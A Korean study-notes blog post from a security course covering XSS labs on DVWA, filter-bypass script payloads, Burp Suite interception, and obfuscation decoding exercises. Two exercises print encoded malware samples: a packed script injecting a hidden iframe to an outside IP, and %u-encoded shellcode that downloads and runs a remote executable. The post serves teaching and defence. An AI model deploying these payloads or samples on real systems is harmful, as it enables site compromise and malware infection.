본문 바로가기

Rookies 9기/애플리케이션 보안

애플리케이션 보안 2일차

728x90

• XSS(Cross Site Scripting)

XSS ( Cross Site Scripting)

웹 애플리케이션에서 가장 기초적인 취약점 공격 방법이다. 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말한다. 입력 값 검증이 되지 않아 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며 쿠키나 세션 토큰 등의 민감한 정보를 탈취하거나 HTML 페이지의 내용도 조작/변경이 가능하다.

 

DBD 공격 유형

DBD(Drive by Download) 공격은 악성코드를 자연스럽게 다운하도록 유도한다.

원리는 사용자가 취약점이 있는 웹 사이트에 들어가면 스크립트 코드 등을 이용하여 악성 코드가 있는 웹으로 이동시킨다. 이때 자기도 모르게 다운로드를 하게 된다. 악성코드가 실행되면 랜섬웨어 또는 트로이목마가 동작할 수도 있다.

※ 악성 행위가 없어서 보안 솔루션에 탐지되지 않는다.

 

Cookie 값 탈취

쿠키값이란? 

쿠키는 클라이언트 로컬에 저장되는 키와 값이 들어있는 데이터이다. 즉, 쿠키는 사용자의 신분 증가 같다.

방문자가 웹 브라우저에 스크립트가 있는 페이지를 방문을 하면 스크립트가 실행이되면서 방문자 쿠키를 공격자 컴퓨터로 보내진다. 공격자는 그 쿠키로 방문자 아이디로 로그인이 가능하다.

대응 방법으로는 쿠키에 IP 주소를 난독화해서 넣으면 어디서 접속했는지 검증이 가능하다. (다른 IP에서 접속을 하면 정상이 아니라는것을 알 수가 있다. )

 

• DVWA  실습(XSS Reflected)

XSS 문제 Low 단계

XSS Reflected 문제는 사용자가 입력한 값을 그대로 실행시켜서 사용자에게 보여주는 문제이다.

구조 파악

입력값에 chulmin를 입력을 하였다. 출력 결과 Hello chulmin 이 출력이 되었다.

이 입력 창에 XSS 취약점 스크립트  <script>alert('철민');</script> 를 입력하여 출력 결과를 확인해보자.

결과 확인

alert 함수는 경고 메시지 창을 호출하는 함수이다. 즉 철민이라는 메시지와 함께 경고창뜬건 스크립트가 실행이 된 걸 알 수가 있다. 

 

medium 단계

low 단계하고 변한게 없어 보인다.  바로 <script> alert('철민');</script>를 입력을 해보자.

결과 화면

<script> 태그가 없어지고 alert('철민')만 출력이 되었다.

 

medium단계 소스코드

View Source 를 눌러서 소스코드를 보면 str_replace() 함수가 <script>를 Null 값으로 치환을 하고 있다.

<SCRIPT>alert('철민');</SCRIPT>  // 소문자만 필터링하기 때문에 실행이된다.
<ScRipt>alert('철민');</ScripT> // 대문자, 소문자를 섞어 사용한다.
<script img=x>alert('철민');</script> //불필요한 속성 추가하기
<script >alert('철민');</script> //태그는 속성을 추가할 수 있기 때문에 공백이 구분자 역할을 한다.
<scr<script>ipt>alert('철민')</script> //스크립트 태그를 중첩해서 사용한다.

위 표와 같이 <script> 대신에 사용할 수 있는 우회 방법이다.

<SCRIPT> alert('철민');</SCRIPT>를 입력하여 우회가 되는지 확인해보자. 

결과 화면

스크립트가 실행이 되어 경고 메시지창이 뜨는 걸 확인할 수가 있다. 

 

- 대응 방법

str_replace() 함수도 대응 방법이지만, 우회할 수 있는 방법이 많이 있다. 

그래서 가장 적절한 대응 방법은 Secure Coding함수를 적용하는 게 좋은 대응 방법이다.

htmlspecialchars( )함수는 html태그로 변환해주는 함수이다.
‣ <는 <로 변환,
‣ >는 >으로 변환해줌,
‣ &는 &nbsp;로 변환,
‣ "는 " 로 변환,
‣ '는 '로 변환함

Secure Coding함수는 웹 브라우저를 통해서 볼 때는 정상적으로 보이지만, 실행하지는 않는다.

 

• DVWA 실습 (XSS Stored)

low 단계

XSS Stored 취약점문제는 스크립트를 DB에 저장했다가 방문자의 웹 브라우저에서 동작하도록 만드는 방식이다.

XSS 취약점 스크립트 입력

위에서 한 실습 처럼 <script>alert('철민');</script> 스크립트를 입력을 해보자. 

결과 화면

low 단계에서는 <script>alert('철민');</script> 스크립트가 실행이 된 걸 확인할 수 있다.

즉, XSS 취약점이 있다는걸 알 수가 있다.

medium 단계로 넘어가 보자.

 

medium 단계 결과 화면

medium 단계로 변경 후 <script>alert('철민');</script> 를 메시지 박스에 입력하였을 때 <script> 태그가 생략이 된 걸 확인할 수가 있다. 

 

medium 단계

View Source를 보면 message 부분은 Secure Coding 3중 방어를 하고 있음을 보고있다.

medium 단계

name 부분은 str_replace함수를 사용해 치환 방식을 하고 있는 걸 확인할 수 있다.

즉, name 부분이 취약하다는 걸 알 수 있다. 

name 박스에 <SCRIPT> alert('철민');</SCRIPT>를 입력해보자.

name 박스에 클라이언트에서 입력을 제한하고 있다.

개발자 모드 (F12)

클라이언트가 제한하고 있기 때문에 개발자 모드에서 변경이 가능하다. 

F12를 눌러 개발자 모드에 들어가서 name 박스에 maxlength 길이를 수정해준다.

maxlength 수정

maxlength를 수정 후 <SCRIPT> alert('철민');</SCRIPT>를 입력을 하였다.

name 박스에도 XSS 취약점이 있다는 걸 확인할 수 있다.

 

• Burp Suite

Burp Suite 로고

https://portswigger.net/burp 다운로드 주소이다.

버프 스위트는 웹 기반 애플리케이션의 보안을 평가하고 실습 테스트를 수행하는 데 사용되는 프락시 기반 도구이다.

Server에게는 Client인 척하고, Client에게는 Server인 척한다. => 인증서 오류가 발생한다.

 

•Burp Suite 실습 (XSS Stored에서 실습)

Burp Suite 실습 공간

Burp Suite를 사용하기 위해서는 먼저 설정을 해줘야 한다.

인터넷 옵션

인터넷 옵션에 들어가 LAN 설정을 클릭한다.

프록시 서버 설정

프록시 서버 IP를 127.0.0.1 지정하고 포트는 8080을 사용한다.

Proxy 실행

버프 스위트에서 프록시에 들어가 인터셉트를 온으로 해준다.

Name, Message에 아무 말이나 입력을 한 뒤 Sign Guestbook 버튼을 눌러준다.

d

버프 스위트에 잡힌 모습을 볼 수가 있다. txtName, mtxMessage 에는 철민이 암호화되어 들어가 있다.

txtName부분에  <script> alert('HERE');</script> 구문을 넣고 확인해 보자.

※ name 길이가 제한되어있지만 클라이언트에만 되어있기 때문에 버프에서는 제한받지 않는다.

 

실행 결과 HERE라는 문구와 함께 경고창 메시지가 출력이 된다.

 

• 난독화 

원래는 개발자들이 내부 정보를 숨기기 위한 목적으로 사용 해지만 해커들이 자신이 만든 스크립트의 내용을 숨기기 위한 목적으로 난독화를 사용한다.

String.fromCharCode : SCC는 대문자로 사용 (대소문자를 구분)
ASCII(7bit) : 대문자, 소문자, 숫자, 특수문자, 기능 등을 표시하기 위한 언어
Unicode(16bit) : 2의 16승 = 65536

 • 난독화 실습 

디코더 프로그램

디코더 프로그램을 사용하여 난독 한 된 문제를 풀어볼 것이다. 

문제 1 ) %ea%b4%80%eb%a6%ac%ec%9e%90 

1번 문제

문제 2) UGFzc3dvcmQgaXMgV2ViaGFja2Vy

2번 문제

BASE64의 특징

‣ 원문보다 인코딩 후에 약 1.4배 정도의 크리고 증가하게 된다. 문자를 3,6,9 단위로 맞추기 때문에 모자라는 글자는 = 을 추가하게 된다

 » 3,6,9는 패딩을 사용하지 않음

 » 2,5,8은 패딩(=)을 1개 사용

 » 1,4,7은 패딩(=)을 2개 사용 ==

문제 3) %45%6E%63%6F%64%69%6E%67%20%69%73%20%76%65%72%79%20%68%61%72%64

3번 문제

malzilla 프로그램을 사용하여 난독화를 풀 수가 있다.

문제 4)  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 7=3.6;2 9=7.e("4");d(9!=-1){}f{2 0=g c();0.h(0.i()+a*5*5*b);3.6="4=q;0="+0.j();3.t("&lt;8 s=v://w.x.u.r/l/k.m n=p o=1&gt;&lt;/8&gt;")}',34,34,'expires||var|document|cookiesleep|60|cookie|cookieString|iframe|start|12|1000|Date|if|indexOf|else|new|setTime|getTime|toGMTString|fl|css|html|width|height|100|test|124|src|write|168|http|140|125'.split('|'),0,{}))

문제 4

번호 순서대로 실행을 시켜 사용한다.

문제 5) "%u90" + "90" +"%uefe9%u0000%u5a00%ua164%u00" + "30%u0000%u408b%u8b0c%u1c70%u" +"8bad%u0840%ud88b%u738b%u8b3c" + "%u1e74%u0378%u8bf3%u207e%ufb" +"03%u4e8b%u3314%u56ed%u5157%u" + "3f8b%ufb03%uf28b%u0e6a%uf359" +"%u74a6%u5908%u835f%u04c7%ue2" + "45%u59e9%u5e5f%ucd8b%u468b%u" +"0324%ud1c3%u03e1%u33c1%u66c9" + "%u088b%u468b%u031c%uc1c3%u02" +"e1%uc103%u008b%uc303%ufa8b%u" + "f78b%uc683%u8b0e%u6ad0%u5904" +"%u6ae8%u0000%u8300%u0dc6%u56" + "52%u57ff%u5afc%ud88b%u016a%u" +"e859%u0057%u0000%uc683%u5613" + "%u8046%u803e%ufa75%u3680%u5e" +"80%uec83%u8b40%uc7dc%u6303%u" + "646d%u4320%u4343%u6643%u03c7" +"%u632f%u4343%u03c6%u4320%u20" + "6a%uff53%uec57%u04c7%u5c03%u" +"2e61%uc765%u0344%u7804%u0065" + "%u3300%u50c0%u5350%u5056%u57" +"ff%u8bfc%u6adc%u5300%u57ff%u" + "68f0%u2451%u0040%uff58%u33d0" +"%uacc0%uc085%uf975%u5251%u53" + "56%ud2ff%u595a%ue2ab%u33ee%u" +"c3c0%u0ce8%uffff%u47ff%u7465" + "%u7250%u636f%u6441%u7264%u73" +"65%u0073%u6547%u5374%u7379%u" + "6574%u446d%u7269%u6365%u6f74" +"%u7972%u0041%u6957%u456e%u65" + "78%u0063%u7845%u7469%u6854%u" +"6572%u6461%u4c00%u616f%u4c64" + "%u6269%u6172%u7972%u0041%u72" +"75%u6d6c%u6e6f%u5500%u4c52%u" + "6f44%u6e77%u6f6c%u6461%u6f54" +"%u6946%u656c%u0041%u7468%u7074%u2f3a%u632f%u772e%u6361%u7973%u632e%u6d6f%u6f2f%u2e6b%u7865%u0065"

 16진수 : 0,1,2,3,4,5,6,7,8,9, A, B, C, D, E, F   (0~F, G 이후는 사용되지 않는다.)

  ‣ 구분자로 주로 사용하는 것이 %를 사용

  ‣ 16은 2의 4승이므로 4bit,  4bit를 두 개로 묶으면 8bit가 되고 8bit를 1byte라고 하고 Octet

  ‣ %(구분자)를 1byte 단위로 사용하니까 %hex패턴을 사용   ex) %0D

  ‣  구분자로 \x를 사용    ex) \x0D\x0A\xD8

  UCS(범용 문자 집합)에서는 구분자를 %u를 사용하기도 한다

  구분자로 %,  %u,  \x 등이 사용된다.

 

• 악성코드 분석 방법

정적 분석 : 소스코드, 외형, 함수 등을 보고 악의적인 행위를 예상하는 것이다.

동적 분석 : 실제로 악성코드를 실행한 다음 악의적인 행위를 하는지 확인한다.